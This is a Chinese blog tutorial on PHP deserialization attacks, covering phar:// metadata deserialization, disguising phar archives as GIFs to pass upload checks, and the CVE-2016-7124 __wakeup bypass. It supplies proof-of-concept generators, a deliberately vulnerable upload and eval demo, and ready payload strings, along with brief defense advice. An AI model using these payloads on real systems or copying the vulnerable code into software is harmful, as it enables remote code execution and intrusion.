代码编织梦想

PHP反序列化漏洞【三】

来学习下

  • phar反序列化漏洞,拓展php反序列化漏洞的攻击面
  • 特定PHP版本下__wakeup()魔术方法绕过漏洞(CVE-2016-7124)

phar反序列化漏洞

通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大

在2018 Black Hat大会上,安全研究员Sam Thomas分享了议题 It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面

该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作

基本概念

  • phar (PHP Archive) 是PHP里类似于Java中jar的一种打包文件,用于归档
  • PHP >=5.3 时默认开启支持phar文件
  • phar文件默认状态是只读,使用phar文件不需要任何的配置。因此若要创建phar文件需要php.ini关闭只读
  • phar://伪协议即PHP归档,用来解析phar文件内容

phar文件结构

在了解攻击手法之前先学习下phar的文件结构,通过查阅PHP手册可知一个phar文件有四部分构成:

a stub

可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾(?>可以省略也可以包含),否则phar扩展将无法识别这个文件为phar文件

a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点

the file contents

被压缩文件的内容

[可选] 验证phar完整性的签名

签名,放在文件末尾,格式如下:

Length in bytesDescription
16 or 20 bytes实际签名,SHA1签名为20字节,MD5签名为16字节,SHA256签名为32字节,SHA512签名为64字节。
4 bytes签名标志. 0x0001 用于表示是 MD5 签名, 0x0002 用来表示是 SHA1 签名, 0x0004 用来表示是SHA256签名, 0x0008用来表示是SHA512签名。 API版本1.1.0引入了SHA256和SHA512签名支持。
4 bytesMagic GBMB 用于定义签名的存在

构建phar文件

根据文件结构,自己构建一个phar文件,php内置了一个Phar类来处理相关操作

*注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

// phar.php
<?php
    // 定义类
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
	//__HALT_COMPILER(); 结尾也是可以的

    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data即对象存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行phar.php,同目录下生成phar.phar文件,使用010 Editor打开文件可以清晰看到phar文件的结构,其中meta-data是以序列化的形式存储的:

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:(引用seaii师傅整理图)

通过一个小demo证明一下

//phar_test.php
<?php 
    class TestObject {
        public function __destruct() {
            echo '对象被销毁,Destruct触发';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

执行phar_test.php,如下图,file_get_contents函数在通过phar://伪协议解析phar文件时,会将meta-data进行反序列化操作

于是当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下,进行反序列化操作,许多的文件函数都可以触发,极大地拓展了攻击面

注意:对于一个前后调用多个file函数的phar文件,只会反序列化一次

将phar伪造成其他格式的文件

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的

那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

//phar_gif.php
<?php
    class TestObject {
    }

    @unlink("phar-gif.phar");
    $phar = new Phar("phar-gif.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行phar_gif.php,查看生成phar-gif.phar格式

同样,将phar-gif.phar后缀改为gif进行phar://伪协议解析

//phar_test.php
<?php 
    class TestObject {
        public function __destruct() {
            echo '对象被销毁,Destruct触发';
        }
    }

    $filename = 'phar://phar-gif.gif/test.txt';
    file_get_contents($filename); 
?>

发现仍然可以识别为phar,进行反序列化

可以看到,可以轻易将phar文件伪造为其他格式(gif/png/jpg等),采用这种方法可以绕过很大一部分文件上传检测

利用条件

  • phar文件要能够上传到服务器端
  • 如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数要有可用的魔术方法作为”跳板”
  • 文件操作函数的参数可控,且: / phar等特殊字符没有被过滤

漏洞验证

upload_file.php后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif

<?php
	if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    	echo "Upload: " . $_FILES["file"]["name"];
    	echo "Type: " . $_FILES["file"]["type"];
    	echo "Temp file: " . $_FILES["file"]["tmp_name"];

    	if (file_exists("upload_file/" . $_FILES["file"]["name"])){
      		echo $_FILES["file"]["name"] . " already exists. ";
      	}
    	else{
      		move_uploaded_file($_FILES["file"]["tmp_name"],
      		"upload_file/" .$_FILES["file"]["name"]);
      		echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      	}
    }
	else{
  		echo "Invalid file,you can only upload gif";
  	}

upload_file.html

<body>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php存在file_exists(),并且存在__destruct()

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

根据file_un.php本地写一个生成phar的poc.php文件,在文件头加上GIF89a绕过gif,然后执行poc.php文件后,生成phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

//构造poc.php
<?php
class AnyClass{
    var $output = ;
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$o = new AnyClass();
$o -> output= 'phpinfo();';
$phar -> setMetadata($o);
$phar -> stopBuffering();

访问poc.php生成phar.phar,将后缀改为gif

然后上传到upload_file目录(与file_un.php同目录)之下

利用file_un.php中的危险函数getshell

payload:file_un.php?filename=phar://upload_file/phar.gif/test

防御方法

  1. 在文件系统函数的参数可控时,对参数进行严格的过滤。
  2. 严格检查上传文件的内容,而不是只检查文件头。
  3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

__wakeup()魔术方法绕过

漏洞原理

当反序列化字符串中,表示对象属性个数的值大于真实属性个数时,会绕过 __wakeup 方法的执行。

如:

构造序列化对象:O:1:"A":1:{s:6:"target";s:18:"...";}
绕过__wakeup:O:2:"A":1:{s:6:"target";s:18:"...";}

漏洞影响范围

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

PHP5.5.38的wakeup绕过

假设有以下代码:

<?    
class A{
    public $target = "f4ke";
    function __wakeup(){
        $this->target = "wakeup!";
    }
    function __destruct(){
        $fp = fopen("./flag.php","w");
        fputs($fp,$this->target);
        fclose($fp);
    }
}
$a = $_GET['str'];
$b = unserialize($a);
echo "flag.php"."<br/>";
include("./flag.php");
?>

由于魔术方法__wakeup()要比__destruct()先执行,即当str值传入:

O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}

会被先执行的__wakeup()函数$target赋值覆盖为wakeup!,然后生成的flag.php里面的内容就是wakeup!

现在根据漏洞原理:对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行,对象属性个数由1改为2,即

O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}

就能实现绕过__wakeup()直接将phpinfo();语句写入flag.php并执行

参考

https://paper.seebug.org/680/

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_39664643/article/details/124706834

反序列化漏洞-爱代码爱编程

文章目录 什么是序列化?PHP中的序列化和反序列化简单的例子序列化与反序列化Demo反序列化漏洞漏洞何在?为什么会这样?案例安装Typecho v1.0.14反序列化实战 什么是序列化? 序列化就是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对

Redis未授权漏洞总结-爱代码爱编程

Redis未授权漏洞总结 0x00 Redis介绍 Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个使用ANSI C编写的开源、包含多种数据结构、支持网络、基于内存、可选持久性的键值对存储数据库,其具备如下特性: 基于内存运行,性能高效支持分布式,理论上可以无限扩展key-value存储系统开源的使用ANSI C语言编写、遵守BS

php+反序列化代码执行漏洞,PHP反序列化漏洞-爱代码爱编程

0x001 漏洞产生原理 在反序列化的过程中自动触发了某些魔术方法。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致XSS、代码执行、文件写入、文件读取等不可控后果。 0x002 漏洞触发条件 一般只能通过代码审计的方式挖掘该漏洞,寻找代码中unserialize()函数的变量可控,且PHP文件代码中存在可利用的类,同

php 反序列化漏洞,PHP反序列化漏洞详解-爱代码爱编程

最近和小伙伴们一起研究了下PHP反序列化漏洞,突发奇想,利用反序列化漏洞写一个一句话木马效果应该蛮不错的。本文主要和大家分享PHP反序列化漏洞详解,希望能帮助到大家。 0x01 PHP反序 说起PHP反序列化,那必须先简单说一下PHP的序列化。PHP序列化是将一个对象、数组、字符串等转化为字节流便于传输,比如跨脚本等。而PHP反序列化是将序列化之后

php反序列化漏洞条件,PHP反序列化漏洞总结-爱代码爱编程

写在前边 做了不少PHP反序列化的题了,是时候把坑给填上了。参考了一些大佬们的博客,自己再做一下总结 1.面向对象 2.PHP序列化和反序列化 3.PHP反序列化漏洞实例 1.面向对象 在了解序列化和反序列化之前,先简单了解一下PHP的面向对象。 万物皆可对象。根据官方手册,PHP中,以关键字class定义一个类,一个类可以包含有属于自己

详解PHP反序列化漏洞-爱代码爱编程

详解PHP反序列化漏洞 序列化与反序列化定义常见使用情况常见的序列化格式反序列化中常见的魔术方法反序列化绕过protected和private绕过__wakeup绕过(CVE-2016-7124)引用利用16进制绕过字符过滤同名方法的利用绕过部分正则字符逃逸字符增多字符减少对象注入session反序列化漏洞session定义PHP session工

php反序列化漏洞-爱代码爱编程

该漏洞一般只能在代码审计中发现,很难再黑盒测试中发现 序列化serialize():把一个对象变成可以传输的字符串 class S{ public $test="pikachu"; } $s=new S(); //创建一个对象 serialize($s); //把这个对象进行序列化 序列化后得到的结果是这

浅谈JSONP跨域漏洞-爱代码爱编程

浅谈JSONP跨域漏洞 CSRF(Cross site request forgery)跨站请求伪造,一种挟持用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,跟XSS相比,XSS 利用的是网站对用户的信任,CSRF 利用的是网站对用户网页浏览器的信任。 提起CSRF,可能很多人都会想到修改个人资料、授权登陆等等攻击场景,可以发现这两个场景

PHP反序列化漏洞成因及漏洞挖掘技巧与案例-爱代码爱编程

一、序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加方便。序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参

【反序列化漏洞02】PHP反序列化漏洞原理测试及魔术方法总结-爱代码爱编程

目录 1 简介2 PHP反序列化漏洞2.1 测试环境2.2 测试过程3 PHP魔术方法归纳4 总结 1 简介 PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞形成的根本原因是程序没有对用户输入的反序列化字节流进行检测,导致反序列化过程可以被恶意控制,进而造成

反序列化漏洞详解-爱代码爱编程

目录 一、什么是序列化和反序列化 二、什么是反序列化漏洞 三、序列化函数(serialize) 四、反序列化(unserialize) ​五、什么是PHP魔术方法 六、一些常见的魔术方法 七、魔术方法的利用  八、反序列化漏洞的利用 1.__destruct()函数 2.__wakeup() 3.toString() ​九、反序列化

PHP session反序列化漏洞-爱代码爱编程

PHP session反序列化漏洞 PHP session反序列化漏洞,就是当【序列化存储Session数据】与【反序列化读取Session数据】的方式不同导致session反序列化漏洞的产生 什么是session 官方Session定义:在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。主要